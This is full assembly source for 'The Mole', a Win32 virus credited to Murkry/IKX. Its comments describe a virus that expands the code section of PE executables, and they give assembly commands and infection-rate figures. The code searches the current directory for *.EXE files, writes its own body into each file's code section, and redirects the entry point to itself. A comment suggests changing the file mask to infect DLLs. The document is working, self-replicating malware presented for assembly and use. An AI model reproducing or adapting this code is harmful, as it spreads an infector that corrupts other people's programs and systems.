;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a intersting change for other
;students of vx to explore.

;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x  mole,mole,, import32.lib,  

;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h;  

;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
;    400h       83%   
;    600h       60%
;    800h       50%
;    a00h       37%
;    c00h       20%
 
ViriiSize       equ     400h

.386
.model flat,stdcall

extrn           GetFileSize:PROC
extrn           ExitProcess:PROC

extrn           CreateFileA:PROC
extrn           CreateFileMappingA:PROC
extrn           MapViewOfFile:PROC
extrn           UnmapViewOfFile:PROC
extrn           CloseHandle:PROC

extrn           FindFirstFileA:PROC
extrn           FindNextFileA:PROC
extrn           FindClose:PROC
extrn           SetEndOfFile:PROC

FILE_MAP_COPY           EQU             000000001h
FILE_MAP_WRITE          EQU             000000002h
FILE_MAP_READ           EQU             000000004h
FILE_MAP_ALL_ACCESS     EQU             0000f001fh


INVALID_HANDLE_VALUE    EQU        -1

FILE_ATTRIBUTE_NORMAL           EQU             000000080h

GENERIC_READ    equ     80000000h
GENERIC_WRITE   equ     40000000h

OPEN_EXISTING   equ     3

PAGE_NOACCESS           EQU             000000001h
PAGE_READONLY           EQU             000000002h
PAGE_READWRITE          EQU             000000004h
PAGE_WRITECOPY          EQU             000000008h
PAGE_EXECUTE            EQU             000000010h
PAGE_EXECUTE_READ       EQU             000000020h
PAGE_EXECUTE_READWRITE  EQU             000000040h
PAGE_EXECUTE_WRITECOPY  EQU             000000080h
;Header Offsets

PEHeaderSze             EQU             0F8h
NumOfSects              EQU             06h
SizeOfCode              equ             1ch
ImageSze                equ             50h



;section offsets
VSize                   equ     8h
VAddress                equ     0Ch
SzeRawData              equ     10h
PtrRawData              equ     14h
HdrSze                  equ     28h

Find_data       equ 139h
Find_data_name  equ 2ch     ;where in the structure is the name
FileSizeH       equ 14h     ;if not zero get out      
Filesize        equ 20h     ;file size low
;find_file       db      Find_data dup(00)    ;size of the find data

;-------------------------------------------
;how the stack is used
SHandle         equ     0                ;Handle for the search routine
FHandle         equ     SHandle  + 4     ;Handle for open file
CMHandle        equ     FHandle  + 4     ;CreateMFileHandle
MHandle         equ     CMHandle + 4    ;Mhandle also address of where it is
FindFile        equ     MHandle  + 4

CFile           equ     FindFile + Find_data + 4
CFMap           equ     CFile    + 4
MapV            equ     CFMap    + 4
CloseH          equ     MapV     + 4
FindFirst       equ     CloseH   + 4
FindNext        equ     FindFirst + 4
CloseFnd        equ     FindNext + 4
UnMapV          equ     CloseFnd + 4
SetFEnd         equ     UnMapV   + 4 
Flag            equ     SetFEnd  + 3

GetProc         equ     Flag     + 4
K32Load         Equ     GetProc  + 4
HostPE          Equ     K32Load  + 4
HostLoad        equ     HostPE   + 4
Delta           equ     HostLoad + 4

WorkSpace       equ     GetProc 


;-------------------------------------------
.data                                   ;the data area
dummy           dd      ?               ;this needs some data
                                        ;or it won't compile ...easily

;-------------------------------------------
.code                                    

Mole:
                db      68h
HostEip         dd      offset fini -  00400000h

                Pusha

                call    GetAddie        ;this leaves some data on the stack
                                        ;which mole use's
D1:             sub     esp,WorkSpace 
                mov     ebp,esp
                sub     dword ptr[ebp + Delta],offset D1 - Offset Mole
                        ;this gives mole its location in memory

                 ;set return up to old eip
                mov     eax,dword ptr [ebp +  HostPE]
                add     dword ptr [ebp + Delta + 4 + (8*4)],eax
                 
                Call   GetFunctions    ;With the k32 module
                                       ;and GetProc we can now get all
                                       ;the Fuctions we want

                ;FINDFIRST
                lea     eax,[ebp + FindFile]
                push    eax

                mov     eax,[ebp + Delta]

                ;add     eax, offset FileN - Offset Mole
                add     eax, offset Fmask - Offset Mole
                push    eax
                call    dword ptr [ebp + FindFirst]

                mov     dword ptr [ebp + SHandle],eax
                inc     eax
                jz      NoFiles
                dec     eax                    
                  
TryItAgain:
                mov     byte ptr [ebp + Flag],0         ;assume too small
                call    Map_Infect?

                cmp     byte ptr[ebp + Flag],0
                jz      FindNextOne

                add     dword ptr [Ebp + FindFile +  Filesize],ViriiSize
                call    Map_Infect?

                ;call    Modify

FindNextOne:
                ;FINDNEXT
                lea     eax,[ebp + FindFile]
                push    eax

                mov     eax,[ebp + SHandle]
                push    eax

                call    dword ptr [ebp + FindNext]
                or      eax,eax
                jnz     TryItAgain


NoFiles:
                lea     eax,[ebp + FindFile]
                push    eax

                Call    dword ptr [ebp + CloseFnd]


                ADD     ESP,Delta + 4   ;restore all
                Popa

                ret                     ;return to the host

;--------------------------------------------------------------

Map_Infect?:

        xor     eax,eax
        cdq                                     ;edx = 0

        push    eax                             ;handle template

        ;push    FILE_ATTRIBUTE_NORMAL           ;attr flags
        mov     dl,80h
        push    edx

        push    large OPEN_EXISTING             ;creat flags

        push    eax                             ;security issue
        push    eax                             ;share mode 

        push    GENERIC_READ or GENERIC_WRITE   ;r\w access

        Lea     eax,[ebp + FindFile + Find_data_name]
        push    eax                             ;file name

        call    dword ptr [ebp + CFile]         ;CreateFileA

        inc     eax             ;smaller than cmp eax,-1, je...        
        jz      FileError       ;
        dec     eax             ;

;-------------------------------------------------------------
        cdq                     ;get edx = 0
        mov     [ebp + FHandle],eax         
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed
 
        push    edx             ;fileMap name
 
 

        push    dword ptr [Ebp + FindFile +  Filesize]

 
        push    edx             ;file size high not use for this

        push    large PAGE_READWRITE  ;Protection Rights R/W etc
        push    edx             ;security attr
        push    eax             ;File Handle
        call    dword ptr [ ebp + CFMap ]       ;CreateFileMappingA
        cdq                     ;again zero edx
                                ;why here well ecx usual contains a
                                ;value like C??????? which when xchg
                                ;to eax when you us cdq edx = -1 not 0
        xchg    eax,ecx

        jecxz   MapHandleError

;-------------------------------------------------------------
        mov     [ebp + CMHandle],ecx         ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View
        

        push    edx                     ;size to map if 0 whole file
                                        ;in win95 its always does whole file
        push    edx                     ;where it file to start the mapping
                                        ;low word
        push    edx                     ;high word
        push    large FILE_MAP_WRITE    ;Acces rights
        push    ecx                     ;Map Handle
        call    dword ptr [ebp + MapV]  ;MapViewOfFile
        xchg    eax,ecx
        jecxz   ErrorFileMap
 
;--------------------------------------------------------------------------- 
        mov     dword ptr [ebp + MHandle],ecx  ;3rd Address of where its mapped
;---------------------------------------------------------------------------

;check for the oking of it then jmp out or back to close
;then reopen
;

        MOV     EDX,ECX

        MOV     Ebx,[EDX + 3CH] ;WHERE THE PE
        cmp     word ptr [ ebx+ edx],'EP'
        jne     NoRoom

        LEA     esi,[ebx + PEHeaderSze + edx]  ; esi = first Section Entry

        ;check for the section char is
        ;set for code

        test byte ptr [esi + 24h],20h
        JE     NoRoom

        ;FindOut if there is room to expand the file
        
        mov     ecx,[ESI + VAddress]
        add     ecx,[ESI + SzeRawData]
        mov     Eax,[ESI + VAddress + HdrSze ]

        sub     Eax,Ecx
        cmp     eax,ViriiSize 
        jl      NoRoom

        cmp     byte ptr [ebp + Flag],0          
        jne     Roomie

        inc     byte ptr [ebp + Flag]      

        jmp    GoodOpenSize

Roomie:
         
        call    Infect
       

NoRoom:

GoodOpenSize:  ;if called close file and get ready to infect

        push    dword ptr [ebp + MHandle]
        call    dword ptr [ebp + UnMapV]        ;UnmapViewOfFile

        
;-------------------------------------------------------------
         

ErrorFileMap:
        push dword ptr [ebp + CMHandle]          ;close file map handle
        call    dword ptr [ebp + CloseH]        ;CloseHandle             ;on stack Handle to the Map object

        

MapHandleError:
        push dword ptr [ebp + FHandle]
        call    dword ptr [ebp + CloseH]        ;file CloseHandle             ;on stack is the File open

         

FileError:
         
         ret

;-----------------------------------------------------------------
Infect:
;Ok do the move

        push    esi
        mov     edx,[ebp + MHandle]
        mov     eax,[esi + PtrRawData]
        add     eax,[esi + SzeRawData] ;where this section ends in the file


        mov     ecx,dword ptr [Ebp + FindFile +  Filesize]

        dec     ecx
        sub     ecx,ViriiSize
        lea     esi,[edx + ecx]         ;where to move the data from
        lea     edi,[edx + ecx + ViriiSize ] ;to
        inc     ecx
         
        sub     ecx,eax                 ;how much we move for 800h 
        std                             ;move backwards
        rep     movsb                   ;move it

        cld                             ;move forward again

        xchg    edi,esi
        inc     edi


        pop     esi
        push    esi
        
        mov     eax,[ebp + MHandle]
        add     eax,[eax + 3ch]         ;points to PE

        push    eax

        mov     eax,[eax+28h]           ;entry point RVA (Eip)
        mov     byte ptr [edi],68h      ;creates the push for the ret
        mov     dword ptr [edi + 1],eax ;to return to host

        pop     eax

        mov     ecx,[ebp + MHandle]
        add     ecx,[esi + PtrRawData]
        push    edi
        sub     edi,ecx
        add     edi,[esi + VAddress]
        ;inc    edi
        mov     dword ptr [eax +28h],edi        ;update the eip address
        pop     edi

        lea     edi,[edi + 5]   ;maybe 5 incs are better

        mov     esi,dword ptr [ebp + Delta]
        lea     esi,[esi + 5]
        mov     ecx,offset fini - offset Mole
        rep     movsb


        pop     esi             ;restore pointer to the section entries
        

        ;update the .code area size in the section
        add     dword ptr [esi + SzeRawData ],ViriiSize
        mov     eax,dword ptr [esi + SzeRawData]


        ;update this as well be better if we check if it needed to be
        ;enlarged???
        mov    dword ptr [esi + VSize],eax

        ;not updating the image size since we are not
        ;becoming bigger in memory aligment only file alignment
        ;in the header PE
        ;add     dword ptr [edx + ebx + ImageSze],ViriiSize


        ;Do update the code size in the Header area
        add     dword ptr [edx + ebx + SizeOfCode],ViriiSize

        ;now update the rest of the sections
        Movzx   ecx,word ptr [edx + ebx + NumOfSects]
        dec     ecx

;update the section entries pter to raw data as long as not 0
NextSect:
        add     esi, HdrSze
        cmp     dword ptr [esi + PtrRawData],0
        je      ZPter  
        add     dword ptr [esi + PtrRawData],ViriiSize
ZPter:  loop    NextSect

        ret


;--------------------------------------------------------------------------
;Used For GetAddie
K32             equ     0
BASE            equ     K32   + 4
Limit           equ     BASE + 4
AddFunc         equ     Limit + 4
AddName         equ     AddFunc + 4
AddOrd          equ     AddName+4 
Nindex          equ     AddOrd + 4
WorkSp          equ     Nindex + 4
GetPAdd         equ     WorkSp + 4
RetAdd          Equ     GetPAdd + 4
 

EdataLoc        equ     78h
IdataLoc        equ     80h

GetAddie:

        call    here
here:   pop     esi

        Call    GetPE    ;eax,esi               
        jne     GetAddie_fini

        push    eax    ;Address of PE header for this module
        push    esi    ;Load address of Module

        Call    GetK32API
        ;On return Esi = a API call in Kernel32

        Call    GetPE   ;eax,esi
        push    ESI      ;Module address of K32

        ;esi = to the load address Kernel32
        ;eax = address to the PE header of Kernel32
        push    large 0         ;hold the return info
        Call    GetGetProcessAdd
 
        
        push    dword ptr [esp + 10h]
          
GetAddie_fini:

        ret
 
;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address
         
        sub     esp,WorkSp
        mov     ebx,ebp

        mov     ebp,esp

        Pusha

        mov     dword ptr[ esp+ 8],ebx
 

        mov     [ebp + K32],Esi
        mov     ebx,esi

        mov     eax,[eax + EdataLoc]    ;gets us the Edata offset

        lea     esi,[eax + ebx + 10h]    ;pointer to  base

        lea     edi,[ebp+BASE]

        lodsd
        ;mov     [ebp + BASE],eax        ;save base
        stosd

        lodsd                           ;total number of exported functions
                                        ;by name and ordinal

        lodsd                           ;the functions exported by name
        ;mov     [ebp +Limit],eax        ;this is how far its safe to look
        stosd


        lodsd
        add     eax,ebx

        ;mov     [ebp + AddFunc],eax
        stosd

        lodsd
 
        add     eax,ebx
        ;mov     [ebp + AddName],eax
        stosd 

        lodsd
        add     eax,ebx  
        ;mov     [ebp + AddOrd],eax
        stosd


LookLoop:
        mov     esi,[ebp + AddName]
        mov     [EBP+Nindex],esi
        
        mov     edi,ebx                 ;get the load Add of K32
        add     edi,[esi]

        xor     ecx,ecx
TryAgain:
         
        ;find GetProcAddress
        cmp     [edi],'PteG'
        jne     NextOne

        cmp     [edi+4],'Acor'
        jne     NextOne

        cmp     [edi+8],'erdd' 
        jne     NextOne

        cmp     word ptr[edi+0Ch],'ss'
        jne     NextOne

        cmp     byte ptr [edi+0Eh],00
        jne     NextOne

       jmp     GotGetProcAdd

NextOne:
        inc     ecx
        cmp     ecx,[ebp + Limit]
        jge     NotFound1

        add     dword ptr [ebp + Nindex],4
        mov     ESI,[EBP+Nindex]
        mov     edi,[esi]
        add     edi,ebx
        jmp     TryAgain



GotGetProcAdd:
        ;ok we have the index into the name array use this to get
        ; the index into the ord array
        ;
        shl     ecx,1           ;*2 for a word array
        mov     esi,[ebp + AddOrd]
        add     esi,ecx         ;move to the correct spot in the array        

        movzx     eax,word ptr [esi]
        ;ax = ordinal value

        shl     eax,2           ;*4
        mov     esi,[ebp + AddFunc]
        add     esi,eax

        mov     edi, dword ptr [esi]
        add     edi,ebx                 ;got the address of it

        xchg    eax,edi
        mov     dword ptr [ebp + GetPAdd],eax
        jmp     OkFound

NotFound1:
 
        xor     eax,eax
OkFound:

  
        popa
        add    esp,WorkSp
 

        ret

;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header


GetK32API:
       push     ebx 
       mov      ebx,dword ptr [eax + IdataLoc]

       add      ebx,esi 

        ;Ebx now points to the import data table

NextDll:
       cmp      dword ptr [ebx+0ch],0
       je       NoIdataLeft
 
       lea      eax,[ebx+0ch]

       mov      eax,[eax]
       cmp      dword ptr [eax+esi],'NREK'
       jne      NotFound
       cmp      dword ptr [eax+esi+4],'23LE'
       jne      NotFound

       mov      eax,[ebx+10h]
       mov      eax,[eax+esi]

;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
;       mov      eax,[eax+1]

 
       xchg     eax,esi
       pop      ebx
       ret

NoIdataLeft:
        xor     eax,eax
        pop     ebx
        ret

NotFound:
       add      ebx,14h
       jmp      NextDll
;---------------------------------------------------------
 
;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header

GetPE:

SetupSEH:
        push    offset FindExcept
        push    dword ptr fs:[0]
        mov     fs:[0],esp

LoopFind:
        and     esi,0FFFFF000h
        pusha
        lodsw
        cmp     ax,'ZM'
        je      Found
        popa
        sub     esi,1000h
        jmp     LoopFind

FindExcept:
        ;Some Exception occured assume "DEAD" area, reset and continue
        mov    eax,[esp +08h]
        lea    esp,[eax - 20h]
        popa                            ;restores our "REGS" esi mainly 
        pop     dword ptr fs:[0]        ;restore old handler
        add     esp,4                   ;remove last bit of hanlder
        sub     esi,1000h               ;Get set for next page to look at
        jmp     SetupSEH

Found:
        popa            ;esi = out MZ header
        pop     dword ptr fs:[0]
        add     esp,4

        Lea     eax,[esi + 3ch]
 
        mov     eax,[eax]
        add     eax,esi 

        cmp     word ptr ds:[eax],'EP'

        ret

;---------------------------------------------------------------
GetFunctions:
               Mov      esi,[ebp+ Delta] 
               add      esi,offset Funct_List - Offset Mole

               Lea      edi,dword ptr [ebp + CFile]

               ;mov      ecx,9           ;*
               xor      ecx,ecx
               mov      cl,9

startGetLoop:
               push     ecx

               push     Esi                     ;function name               
               Push     dword ptr [ ebp + K32Load] ;dll
               call     dword ptr [ebp + GetProc]
               stosd

               pop      ecx

               add      esi,13h         ;get next name
                
               Loop     startGetLoop

               ret

;---------------------------------------------------------------


;Data for The Mole
        
Funct_List:
        db      "CreateFileA",0             ;12
Fmask   db      "*.EXE",0                   ;5
        db      1 dup(90h)

        db      "CreateFileMappingA",0      ;19

        db      "MapViewOfFile",0           ;14
        db      5 dup(90h)

        db      "CloseHandle",0             ;12
        db      7 dup(90h)

        db      "FindFirstFileA",0          ;15
        db      4 dup(90h)

        db      "FindNextFileA",0           ;14
        db      5 dup(90h)

        db      "FindClose",0               ;10
        db      9 dup(90h)

        db      "UnmapViewOfFile",0         ;16
        db      3 dup(90h)
               
        db      "SetEndOfFile",0            ;13
        ;db      6 dup(90h)      
        db      'Murkry\IKX'

;=========================================================================

fini:

        push    LARGE -1
        call    ExitProcess             ;this simply terminates the program

        end     Mole